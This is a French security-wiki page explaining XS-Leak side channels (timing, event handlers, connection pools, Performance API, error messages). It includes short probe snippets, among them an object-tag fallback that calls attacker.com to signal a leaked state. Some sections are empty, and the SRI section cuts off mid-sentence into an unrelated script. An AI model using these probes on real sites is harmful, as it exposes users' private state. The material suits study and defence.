XS-Search/XS-Leaks

Reading time: 48 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

XS-Search est une méthode utilisée pour extraire des informations cross-origin en exploitant des vulnérabilités de canal auxiliaire.

Les composants clés impliqués dans cette attaque comprennent :

  • Web vulnĂ©rable : Le site web cible Ă  partir duquel les informations doivent ĂȘtre extraites.
  • Web de l'attaquant : Le site web malveillant crĂ©Ă© par l'attaquant, que la victime visite, hĂ©bergeant l'exploit.
  • MĂ©thode d'inclusion : La technique employĂ©e pour incorporer le Web vulnĂ©rable dans le Web de l'attaquant (par exemple, window.open, iframe, fetch, balise HTML avec href, etc.).
  • Technique de fuite : Techniques utilisĂ©es pour discerner les diffĂ©rences dans l'Ă©tat du Web vulnĂ©rable en fonction des informations recueillies par la mĂ©thode d'inclusion.
  • États : Les deux conditions potentielles du Web vulnĂ©rable, que l'attaquant vise Ă  distinguer.
  • DiffĂ©rences dĂ©tectables : Variations observables sur lesquelles l'attaquant s'appuie pour infĂ©rer l'Ă©tat du Web vulnĂ©rable.

Différences détectables

Plusieurs aspects peuvent ĂȘtre analysĂ©s pour diffĂ©rencier les Ă©tats du Web vulnĂ©rable :

  • Code d'Ă©tat : Distinguer entre divers codes de statut de rĂ©ponse HTTP cross-origin, comme les erreurs de serveur, les erreurs de client ou les erreurs d'authentification.
  • Utilisation de l'API : Identifier l'utilisation des API Web Ă  travers les pages, rĂ©vĂ©lant si une page cross-origin utilise une API Web JavaScript spĂ©cifique.
  • Redirections : DĂ©tecter les navigations vers diffĂ©rentes pages, pas seulement les redirections HTTP mais aussi celles dĂ©clenchĂ©es par JavaScript ou HTML.
  • Contenu de la page : Observer les variations dans le corps de la rĂ©ponse HTTP ou dans les sous-ressources de la page, comme le nombre de cadres intĂ©grĂ©s ou les disparitĂ©s de taille dans les images.
  • En-tĂȘte HTTP : Noter la prĂ©sence ou Ă©ventuellement la valeur d'un en-tĂȘte de rĂ©ponse HTTP spĂ©cifique, y compris des en-tĂȘtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
  • Temps : Remarquer des disparitĂ©s de temps cohĂ©rentes entre les deux Ă©tats.

MĂ©thodes d'inclusion

  • ÉlĂ©ments HTML : HTML offre divers Ă©lĂ©ments pour l'inclusion de ressources cross-origin, comme des feuilles de style, des images ou des scripts, obligeant le navigateur Ă  demander une ressource non-HTML. Une compilation des Ă©lĂ©ments HTML potentiels Ă  cet effet peut ĂȘtre trouvĂ©e Ă  https://github.com/cure53/HTTPLeaks.
  • Cadres : Des Ă©lĂ©ments tels que iframe, object et embed peuvent intĂ©grer des ressources HTML directement dans la page de l'attaquant. Si la page manque de protection contre le framing, JavaScript peut accĂ©der Ă  l'objet window de la ressource encadrĂ©e via la propriĂ©tĂ© contentWindow.
  • Pop-ups : La mĂ©thode window.open ouvre une ressource dans un nouvel onglet ou une nouvelle fenĂȘtre, fournissant un handle de fenĂȘtre pour que JavaScript interagisse avec des mĂ©thodes et des propriĂ©tĂ©s suivant le SOP. Les pop-ups, souvent utilisĂ©es dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la crĂ©ation de pop-ups Ă  certaines actions de l'utilisateur.
  • RequĂȘtes JavaScript : JavaScript permet des requĂȘtes directes vers des ressources cibles en utilisant XMLHttpRequests ou l'API Fetch. Ces mĂ©thodes offrent un contrĂŽle prĂ©cis sur la requĂȘte, comme choisir de suivre les redirections HTTP.

Techniques de fuite

  • Gestionnaire d'Ă©vĂ©nements : Une technique de fuite classique dans les XS-Leaks, oĂč des gestionnaires d'Ă©vĂ©nements comme onload et onerror fournissent des informations sur le succĂšs ou l'Ă©chec du chargement des ressources.
  • Messages d'erreur : Les exceptions JavaScript ou les pages d'erreur spĂ©ciales peuvent fournir des informations de fuite soit directement Ă  partir du message d'erreur, soit en diffĂ©renciant entre sa prĂ©sence et son absence.
  • Limites globales : Les limitations physiques d'un navigateur, comme la capacitĂ© mĂ©moire ou d'autres limites imposĂ©es par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
  • État global : Les interactions dĂ©tectables avec les Ă©tats globaux des navigateurs (par exemple, l'interface History) peuvent ĂȘtre exploitĂ©es. Par exemple, le nombre d'entrĂ©es dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
  • API de performance : Cette API fournit des dĂ©tails de performance de la page actuelle, y compris le timing rĂ©seau pour le document et les ressources chargĂ©es, permettant d'infĂ©rer sur les ressources demandĂ©es.
  • Attributs lisibles : Certains attributs HTML sont lisibles cross-origin et peuvent ĂȘtre utilisĂ©s comme technique de fuite. Par exemple, la propriĂ©tĂ© window.frame.length permet Ă  JavaScript de compter les cadres inclus dans une page web cross-origin.

Outil & Document XSinator

XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son document : https://xsinator.com/paper.pdf

Vous pouvez accéder à l'outil à https://xsinator.com/

warning

XS-Leaks exclus : Nous avons dĂ» exclure les XS-Leaks qui reposent sur des service workers car ils interfĂšreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spĂ©cifique. Par exemple, les erreurs de configuration Cross-Origin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basĂ©s sur le temps car ils souffrent souvent d'ĂȘtre lents, bruyants et inexactes.

Techniques basées sur le temps

Certaines des techniques suivantes vont utiliser le temps comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes maniÚres de mesurer le temps dans un navigateur web.

Horloges : L'API performance.now() permet aux développeurs d'obtenir des mesures de temps à haute résolution.
Il existe un nombre considérable d'APIs que les attaquants peuvent abuser pour créer des horloges implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d'autres.
Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniques de gestionnaire d'événements

Onload/Onerror

Cookie Bomb + Onerror XS Leak

L'exemple de code essaie de charger des objets de scripts JS, mais d'autres balises telles que des objets, des feuilles de style, des images, des audios pourraient Ă©galement ĂȘtre utilisĂ©es. De plus, il est Ă©galement possible d'injecter la balise directement et de dĂ©clarer les Ă©vĂ©nements onload et onerror Ă  l'intĂ©rieur de la balise (au lieu de l'injecter depuis JS).

Il existe Ă©galement une version sans script de cette attaque :

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Dans ce cas, si example.com/404 n'est pas trouvé, attacker.com/?error sera chargé.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Cette technique est similaire à la précédente, mais l'attaquant va également forcer une action pour prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.

performance.now + Force heavy task

unload/beforeunload Timing

Le temps nĂ©cessaire pour rĂ©cupĂ©rer une ressource peut ĂȘtre mesurĂ© en utilisant les Ă©vĂ©nements unload et beforeunload. L'Ă©vĂ©nement beforeunload est dĂ©clenchĂ© lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l'Ă©vĂ©nement unload se produit lorsque la navigation a effectivement lieu. La diffĂ©rence de temps entre ces deux Ă©vĂ©nements peut ĂȘtre calculĂ©e pour dĂ©terminer la durĂ©e que le navigateur a passĂ©e Ă  rĂ©cupĂ©rer la ressource.

Sandboxed Frame Timing + onload

Il a Ă©tĂ© observĂ© qu'en l'absence de Framing Protections, le temps nĂ©cessaire pour qu'une page et ses sous-ressources se chargent sur le rĂ©seau peut ĂȘtre mesurĂ© par un attaquant. Cette mesure est gĂ©nĂ©ralement possible car le gestionnaire onload d'un iframe est dĂ©clenchĂ© uniquement aprĂšs l'achĂšvement du chargement des ressources et de l'exĂ©cution de JavaScript. Pour contourner la variabilitĂ© introduite par l'exĂ©cution de scripts, un attaquant pourrait utiliser l'attribut sandbox dans le <iframe>. L'inclusion de cet attribut restreint de nombreuses fonctionnalitĂ©s, notamment l'exĂ©cution de JavaScript, facilitant ainsi une mesure qui est principalement influencĂ©e par la performance du rĂ©seau.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Contenu de la page
  • More info:
  • Summary: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est accĂ©dĂ© et la faire charger correctement lorsque n'importe quel contenu est accĂ©dĂ©, alors vous pouvez crĂ©er une boucle pour extraire toutes les informations sans mesurer le temps.
  • Code Example:

Supposons que vous puissiez insérer la page qui contient le contenu secret dans un Iframe.

Vous pouvez faire rechercher Ă  la victime le fichier qui contient "flag" en utilisant un Iframe (en exploitant un CSRF par exemple). À l'intĂ©rieur de l'Iframe, vous savez que l'Ă©vĂ©nement onload sera exĂ©cutĂ© toujours au moins une fois. Ensuite, vous pouvez changer l'URL de l'iframe mais en changeant uniquement le contenu du hash Ă  l'intĂ©rieur de l'URL.

Par exemple :

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la premiÚre URL a été chargée avec succÚs, alors, lorsque vous changez la partie hash de l'URL, l'événement onload ne sera pas déclenché à nouveau. Mais si la page avait une sorte d'erreur lors du chargement, alors, l'événement onload sera déclenché à nouveau.

Ensuite, vous pouvez distinguer entre une page chargée correctement ou une page qui a une erreur lorsqu'elle est accédée.

Exécution Javascript

  • Inclusion Methods: Frames
  • Detectable Difference: Contenu de la page
  • More info:
  • Summary: Si la page retourne le contenu sensible, ou un contenu qui peut ĂȘtre contrĂŽlĂ© par l'utilisateur. L'utilisateur pourrait dĂ©finir un code JS valide dans le cas nĂ©gatif, un chargement Ă  chaque essai Ă  l'intĂ©rieur des <script> tags, donc dans les cas nĂ©gatifs, le code des attaquants est exĂ©cutĂ©, et dans les cas affirmatifs, rien ne sera exĂ©cutĂ©.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: ÉlĂ©ments HTML
  • Detectable Difference: Code d'Ă©tat & En-tĂȘtes
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) est une mesure de sĂ©curitĂ© qui empĂȘche les pages web de charger certaines ressources sensibles d'origine croisĂ©e pour se protĂ©ger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une rĂ©ponse soumise Ă  CORB retourne un Content-Type protĂ©gĂ© par CORB avec nosniff et un code d'Ă©tat 2xx, CORB supprime le corps et les en-tĂȘtes de la rĂ©ponse. Les attaquants observant cela peuvent dĂ©duire la combinaison du code d'Ă©tat (indiquant succĂšs ou erreur) et du Content-Type (indiquant s'il est protĂ©gĂ© par CORB), ce qui peut entraĂźner une fuite d'informations potentielle.
  • Code Example:

Consultez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.

onblur

Il est possible de charger une page à l'intérieur d'un iframe et d'utiliser le #id_value pour faire focaliser la page sur l'élément de l'iframe avec l'id indiqué, puis si un signal onblur est déclenché, l'élément ID existe.
Vous pouvez effectuer la mĂȘme attaque avec des tags portal.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: Utilisation de l'API
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Rassembler des informations sensibles Ă  partir d'un postMessage ou utiliser la prĂ©sence de postMessages comme un oracle pour connaĂźtre l'Ă©tat de l'utilisateur sur la page
  • Code Example: Tout code Ă©coutant tous les postMessages.

Les applications utilisent frĂ©quemment des postMessage broadcasts pour communiquer entre diffĂ©rentes origines. Cependant, cette mĂ©thode peut involontairement exposer des informations sensibles si le paramĂštre targetOrigin n'est pas correctement spĂ©cifiĂ©, permettant Ă  n'importe quelle fenĂȘtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un oracle ; par exemple, certains messages peuvent n'ĂȘtre envoyĂ©s qu'aux utilisateurs qui sont connectĂ©s. Par consĂ©quent, la prĂ©sence ou l'absence de ces messages peut rĂ©vĂ©ler des informations sur l'Ă©tat ou l'identitĂ© de l'utilisateur, comme s'il est authentifiĂ© ou non.

Techniques de Limites Globales

API WebSocket

Il est possible d'identifier si, et combien, de connexions WebSocket une page cible utilise. Cela permet à un attaquant de détecter les états d'application et de fuir des informations liées au nombre de connexions WebSocket.

Si une origine utilise le nombre maximum d'objets de connexion WebSocket, indĂ©pendamment de l'Ă©tat de leurs connexions, la crĂ©ation de nouveaux objets entraĂźnera des exceptions JavaScript. Pour exĂ©cuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenĂȘtre pop-up ou un iframe et ensuite, aprĂšs que le site web cible a Ă©tĂ© chargĂ©, tente de crĂ©er le maximum de connexions WebSocket possible. Le nombre d'exceptions levĂ©es est le nombre de connexions WebSocket utilisĂ©es par la fenĂȘtre du site web cible.

API de Paiement

Cette fuite XS permet à un attaquant de détecter quand une page d'origine croisée initie une demande de paiement.

Parce que une seule demande de paiement peut ĂȘtre active Ă  la fois, si le site cible utilise l'API de demande de paiement, toute tentative ultĂ©rieure d'utiliser cette API Ă©chouera, et provoquera une exception JavaScript. L'attaquant peut exploiter cela en tentant pĂ©riodiquement d'afficher l'interface utilisateur de l'API de paiement. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives pĂ©riodiques en fermant immĂ©diatement l'interface utilisateur aprĂšs sa crĂ©ation.

ChronomĂ©trage de la Boucle d'ÉvĂ©nements

Event Loop Blocking + Lazy images

JavaScript fonctionne sur un modĂšle de concurrence de boucle d'Ă©vĂ©nements Ă  thread unique, signifiant qu'il ne peut exĂ©cuter qu'une seule tĂąche Ă  la fois. Cette caractĂ©ristique peut ĂȘtre exploitĂ©e pour Ă©valuer combien de temps le code d'une autre origine prend pour s'exĂ©cuter. Un attaquant peut mesurer le temps d'exĂ©cution de son propre code dans la boucle d'Ă©vĂ©nements en envoyant continuellement des Ă©vĂ©nements avec des propriĂ©tĂ©s fixes. Ces Ă©vĂ©nements seront traitĂ©s lorsque le pool d'Ă©vĂ©nements est vide. Si d'autres origines envoient Ă©galement des Ă©vĂ©nements au mĂȘme pool, un attaquant peut dĂ©duire le temps qu'il faut pour que ces Ă©vĂ©nements externes s'exĂ©cutent en observant les retards dans l'exĂ©cution de ses propres tĂąches. Cette mĂ©thode de surveillance de la boucle d'Ă©vĂ©nements pour des retards peut rĂ©vĂ©ler le temps d'exĂ©cution du code d'autres origines, exposant potentiellement des informations sensibles.

warning

Dans un chronométrage d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.

Boucle d'ÉvĂ©nements OccupĂ©e

  • Inclusion Methods:
  • Detectable Difference: ChronomĂ©trage (gĂ©nĂ©ralement dĂ» au Contenu de la page, Code d'Ă©tat)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Une mĂ©thode pour mesurer le temps d'exĂ©cution d'une opĂ©ration web consiste Ă  bloquer intentionnellement la boucle d'Ă©vĂ©nements d'un thread et ensuite Ă  chronomĂ©trer combien de temps il faut pour que la boucle d'Ă©vĂ©nements soit Ă  nouveau disponible. En insĂ©rant une opĂ©ration de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'Ă©vĂ©nements, et en surveillant le temps qu'il faut pour que le code suivant commence Ă  s'exĂ©cuter, on peut dĂ©duire la durĂ©e des tĂąches qui s'exĂ©cutaient dans la boucle d'Ă©vĂ©nements pendant la pĂ©riode de blocage. Cette technique exploite la nature Ă  thread unique de la boucle d'Ă©vĂ©nements de JavaScript, oĂč les tĂąches sont exĂ©cutĂ©es sĂ©quentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opĂ©rations partageant le mĂȘme thread.
  • Code Example:

Un avantage significatif de la technique de mesure du temps d'exĂ©cution en verrouillant la boucle d'Ă©vĂ©nements est son potentiel Ă  contourner l'Isolation de Site. L'Isolation de Site est une fonctionnalitĂ© de sĂ©curitĂ© qui sĂ©pare diffĂ©rents sites en processus distincts, visant Ă  empĂȘcher les sites malveillants d'accĂ©der directement aux donnĂ©es sensibles d'autres sites. Cependant, en influençant le chronomĂ©trage d'exĂ©cution d'une autre origine par le biais de la boucle d'Ă©vĂ©nements partagĂ©e, un attaquant peut indirectement extraire des informations sur les activitĂ©s de cette origine. Cette mĂ©thode ne repose pas sur un accĂšs direct aux donnĂ©es de l'autre origine mais plutĂŽt sur l'observation de l'impact des activitĂ©s de cette origine sur la boucle d'Ă©vĂ©nements partagĂ©e, contournant ainsi les barriĂšres de protection Ă©tablies par l'Isolation de Site.

warning

Dans un chronométrage d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.

Pool de Connexion

  • Inclusion Methods: RequĂȘtes JavaScript
  • Detectable Difference: ChronomĂ©trage (gĂ©nĂ©ralement dĂ» au Contenu de la page, Code d'Ă©tat)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en mĂȘme temps charger une autre page, le temps jusqu'Ă  ce que la derniĂšre page commence Ă  se charger est le temps que la page cible a mis Ă  charger.
  • Code Example:

Connection Pool Examples

Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du systÚme d'exploitation et du matériel, les navigateurs sont contraints d'imposer une limite sur le nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :

  1. DĂ©terminer la limite de sockets du navigateur, par exemple, 256 sockets globaux.
  2. Occuper 255 sockets pendant une durĂ©e prolongĂ©e en initiant 255 requĂȘtes Ă  divers hĂŽtes, conçues pour maintenir les connexions ouvertes sans les terminer.
  3. Utiliser le 256Ăšme socket pour envoyer une requĂȘte Ă  la page cible.
  4. Tenter une 257Ăšme requĂȘte Ă  un autre hĂŽte. Étant donnĂ© que tous les sockets sont utilisĂ©s (comme indiquĂ© aux Ă©tapes 2 et 3), cette requĂȘte sera mise en file d'attente jusqu'Ă  ce qu'un socket devienne disponible. Le dĂ©lai avant que cette requĂȘte ne progresse fournit Ă  l'attaquant des informations de chronomĂ©trage sur l'activitĂ© rĂ©seau liĂ©e au socket du 256Ăšme (le socket de la page cible). Cette dĂ©duction est possible car les 255 sockets de l'Ă©tape 2 sont toujours engagĂ©s, ce qui implique que tout nouveau socket disponible doit ĂȘtre celui libĂ©rĂ© de l'Ă©tape 3. Le temps nĂ©cessaire pour que le 256Ăšme socket devienne disponible est donc directement liĂ© au temps requis pour que la requĂȘte Ă  la page cible se termine.

Pour plus d'infos : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Connexion par Destination

  • Inclusion Methods: RequĂȘtes JavaScript
  • Detectable Difference: ChronomĂ©trage (gĂ©nĂ©ralement dĂ» au Contenu de la page, Code d'Ă©tat)
  • More info:
  • Summary: C'est comme la technique prĂ©cĂ©dente mais au lieu d'utiliser tous les sockets, Google Chrome impose une limite de 6 requĂȘtes simultanĂ©es Ă  la mĂȘme origine. Si nous bloquons 5 et ensuite lançons une 6Ăšme requĂȘte, nous pouvons la chronomĂ©trer et si nous avons rĂ©ussi Ă  faire en sorte que la page victime envoie plus de requĂȘtes au mĂȘme point de terminaison pour dĂ©tecter un statut de la page, la 6Ăšme requĂȘte prendra plus de temps et nous pouvons le dĂ©tecter.

Techniques de l'API de Performance

L'API de Performance offre des aperçus sur les mĂ©triques de performance des applications web, enrichies par l'API de ChronomĂ©trage des Ressources. L'API de ChronomĂ©trage des Ressources permet de surveiller les temps de requĂȘtes rĂ©seau dĂ©taillĂ©s, tels que la durĂ©e des requĂȘtes. Notamment, lorsque les serveurs incluent l'en-tĂȘte Timing-Allow-Origin: * dans leurs rĂ©ponses, des donnĂ©es supplĂ©mentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.

Cette richesse de donnĂ©es peut ĂȘtre rĂ©cupĂ©rĂ©e via des mĂ©thodes comme performance.getEntries ou performance.getEntriesByName, fournissant une vue complĂšte des informations liĂ©es Ă  la performance. De plus, l'API facilite la mesure des temps d'exĂ©cution en calculant la diffĂ©rence entre les horodatages obtenus Ă  partir de performance.now(). Cependant, il convient de noter que pour certaines opĂ©rations dans des navigateurs comme Chrome, la prĂ©cision de performance.now() peut ĂȘtre limitĂ©e aux millisecondes, ce qui pourrait affecter la granularitĂ© des mesures de chronomĂ©trage.

Au-delĂ  des mesures de chronomĂ©trage, l'API de Performance peut ĂȘtre exploitĂ©e pour des aperçus liĂ©s Ă  la sĂ©curitĂ©. Par exemple, la prĂ©sence ou l'absence de pages dans l'objet performance dans Chrome peut indiquer l'application de X-Frame-Options. Plus prĂ©cisĂ©ment, si une page est bloquĂ©e de son rendu dans un cadre en raison de X-Frame-Options, elle ne sera pas enregistrĂ©e dans l'objet performance, fournissant un indice subtil sur les politiques de cadre de la page.

Fuite d'Erreur

Il est possible de diffĂ©rencier entre les codes d'Ă©tat de rĂ©ponse HTTP car les requĂȘtes qui entraĂźnent une erreur ne crĂ©ent pas d'entrĂ©e de performance.

Erreur de Rechargement de Style

Dans la technique prĂ©cĂ©dente, deux cas ont Ă©galement Ă©tĂ© identifiĂ©s oĂč des bugs du navigateur dans GC entraĂźnent des ressources Ă©tant chargĂ©es deux fois lorsqu'elles Ă©chouent Ă  se charger. Cela entraĂźnera plusieurs entrĂ©es dans l'API de Performance et peut donc ĂȘtre dĂ©tectĂ©.

Erreur de Fusion de RequĂȘtes

La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Fuite de Page Vide

Un attaquant peut dĂ©tecter si une requĂȘte a entraĂźnĂ© un corps de rĂ©ponse HTTP vide car les pages vides ne crĂ©ent pas d'entrĂ©e de performance dans certains navigateurs.

Fuite de l'Auditeur XSS

Dans les Assertions de SĂ©curitĂ© (SA), l'Auditeur XSS, initialement destinĂ© Ă  prĂ©venir les attaques de Cross-Site Scripting (XSS), peut paradoxalement ĂȘtre exploitĂ© pour fuir des informations sensibles. Bien que cette fonctionnalitĂ© intĂ©grĂ©e ait Ă©tĂ© supprimĂ©e de Google Chrome (GC), elle est toujours prĂ©sente dans SA. En 2013, Braun et Heiderich ont dĂ©montrĂ© que l'Auditeur XSS pouvait bloquer involontairement des scripts lĂ©gitimes, entraĂźnant de faux positifs. S'appuyant sur cela, des chercheurs ont dĂ©veloppĂ© des techniques pour extraire des informations et dĂ©tecter un contenu spĂ©cifique sur des pages d'origine croisĂ©e, un concept connu sous le nom de XS-Leaks, initialement rapportĂ© par Terada et Ă©laborĂ© par Heyes dans un article de blog. Bien que ces techniques soient spĂ©cifiques Ă  l'Auditeur XSS dans GC, il a Ă©tĂ© dĂ©couvert que dans SA, les pages bloquĂ©es par l'Auditeur XSS ne gĂ©nĂšrent pas d'entrĂ©es dans l'API de Performance, rĂ©vĂ©lant une mĂ©thode par laquelle des informations sensibles pourraient encore ĂȘtre divulguĂ©es.

Fuite X-Frame

Si une page n'est pas autorisĂ©e Ă  ĂȘtre rendu dans un iframe, elle ne crĂ©e pas d'entrĂ©e de performance. En consĂ©quence, un attaquant peut dĂ©tecter l'en-tĂȘte de rĂ©ponse X-Frame-Options.
Il en va de mĂȘme si vous utilisez une balise embed.

Détection de Téléchargement

De maniĂšre similaire Ă  la fuite XS dĂ©crite, une ressource qui est tĂ©lĂ©chargĂ©e en raison de l'en-tĂȘte ContentDisposition ne crĂ©e Ă©galement pas d'entrĂ©e de performance. Cette technique fonctionne dans tous les navigateurs majeurs.

Fuite de DĂ©but de Redirection

Nous avons trouvĂ© un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requĂȘtes d'origine croisĂ©e. La norme dĂ©finit un sous-ensemble d'attributs qui doivent ĂȘtre dĂ©finis Ă  zĂ©ro pour les ressources d'origine croisĂ©e. Cependant, dans SA, il est possible de dĂ©tecter si l'utilisateur est redirigĂ© par la page cible, en interrogeant l'API de Performance et en vĂ©rifiant les donnĂ©es de chronomĂ©trage redirectStart.

Fuite de Durée de Redirection

Dans GC, la durĂ©e des requĂȘtes qui entraĂźnent une redirection est nĂ©gative et peut donc ĂȘtre distinguĂ©e des requĂȘtes qui ne rĂ©sultent pas en une redirection.

Fuite CORP

Dans certains cas, l'entrĂ©e nextHopProtocol peut ĂȘtre utilisĂ©e comme une technique de fuite. Dans GC, lorsque l'en-tĂȘte CORP est dĂ©fini, le nextHopProtocol sera vide. Notez que SA ne crĂ©era pas d'entrĂ©e de performance du tout pour les ressources activĂ©es par CORP.

Service Worker

Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arriÚre-plan d'une page web et peuvent intercepter, modifier et mettre en cache des ressources pour créer des applications web hors ligne.
Si une ressource mise en cache par un service worker est accédée via iframe, la ressource sera chargée à partir du cache du service worker.
Pour dĂ©tecter si la ressource a Ă©tĂ© chargĂ©e Ă  partir du cache du service worker, l'API de Performance peut ĂȘtre utilisĂ©e.
Cela pourrait Ă©galement ĂȘtre fait avec une attaque de chronomĂ©trage (voir le document pour plus d'infos).

Cache

En utilisant l'API de Performance, il est possible de vérifier si une ressource est mise en cache.

Durée Réseau

Technique des Messages d'Erreur

Erreur MĂ©dia

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

L'interface MediaError a une propriété message qui identifie de maniÚre unique les ressources qui se chargent avec succÚs grùce à une chaßne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de réponse d'une ressource cross-origin.

Erreur CORS

Cette technique permet Ă  un attaquant d'extraire la destination d'une redirection d'un site cross-origin en exploitant la maniĂšre dont les navigateurs basĂ©s sur Webkit gĂšrent les requĂȘtes CORS. Plus prĂ©cisĂ©ment, lorsqu'une requĂȘte activĂ©e CORS est envoyĂ©e Ă  un site cible qui Ă©met une redirection basĂ©e sur l'Ă©tat de l'utilisateur et que le navigateur refuse ensuite la requĂȘte, l'URL complĂšte de la cible de la redirection est divulguĂ©e dans le message d'erreur. Cette vulnĂ©rabilitĂ© rĂ©vĂšle non seulement le fait de la redirection, mais expose Ă©galement le point de terminaison de la redirection et tout paramĂštre de requĂȘte sensible qu'il peut contenir.

Erreur SRI

Un attaquant peut exploiter des messages d'erreur verbeux pour dĂ©duire la taille des rĂ©ponses cross-origin. Cela est possible en raison du mĂ©canisme d'IntĂ©gritĂ© des Sous-ressources (SRI), qui utilise l'attribut d'intĂ©gritĂ© pour valider que les ressources rĂ©cupĂ©rĂ©es, souvent depuis des CDN, n'ont pas Ă©tĂ© altĂ©rĂ©es. Pour que le SRI fonctionne sur des ressources cross-origin, celles-ci doivent ĂȘtre activĂ©es CORS ; sinon, elles ne sont pas soumises Ă  des vĂ©rifications d'intĂ©gritĂ©. Dans les Assertions de SĂ©curitĂ© (SA), tout comme l'erreur CORS XS-Leak, un

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Compter le nombre de frames dans un web ouvert via iframe ou window.open peut aider Ă  identifier le statut de l'utilisateur sur cette page.
De plus, si la page a toujours le mĂȘme nombre de frames, vĂ©rifier en continu le nombre de frames peut aider Ă  identifier un modĂšle qui pourrait divulguer des informations.

Un exemple de cette technique est que dans Chrome, un PDF peut ĂȘtre dĂ©tectĂ© avec le comptage de frames car un embed est utilisĂ© en interne. Il existe des Open URL Parameters qui permettent un certain contrĂŽle sur le contenu tel que zoom, view, page, toolbar oĂč cette technique pourrait ĂȘtre intĂ©ressante.

HTMLElements

La fuite d'informations Ă  travers les Ă©lĂ©ments HTML est une prĂ©occupation en matiĂšre de sĂ©curitĂ© web, en particulier lorsque des fichiers multimĂ©dias dynamiques sont gĂ©nĂ©rĂ©s en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutĂ©s, modifiant la taille du mĂ©dia. Cela peut ĂȘtre exploitĂ© par des attaquants pour diffĂ©rencier entre des Ă©tats possibles en analysant les informations exposĂ©es par certains Ă©lĂ©ments HTML.

Information Exposed by HTML Elements

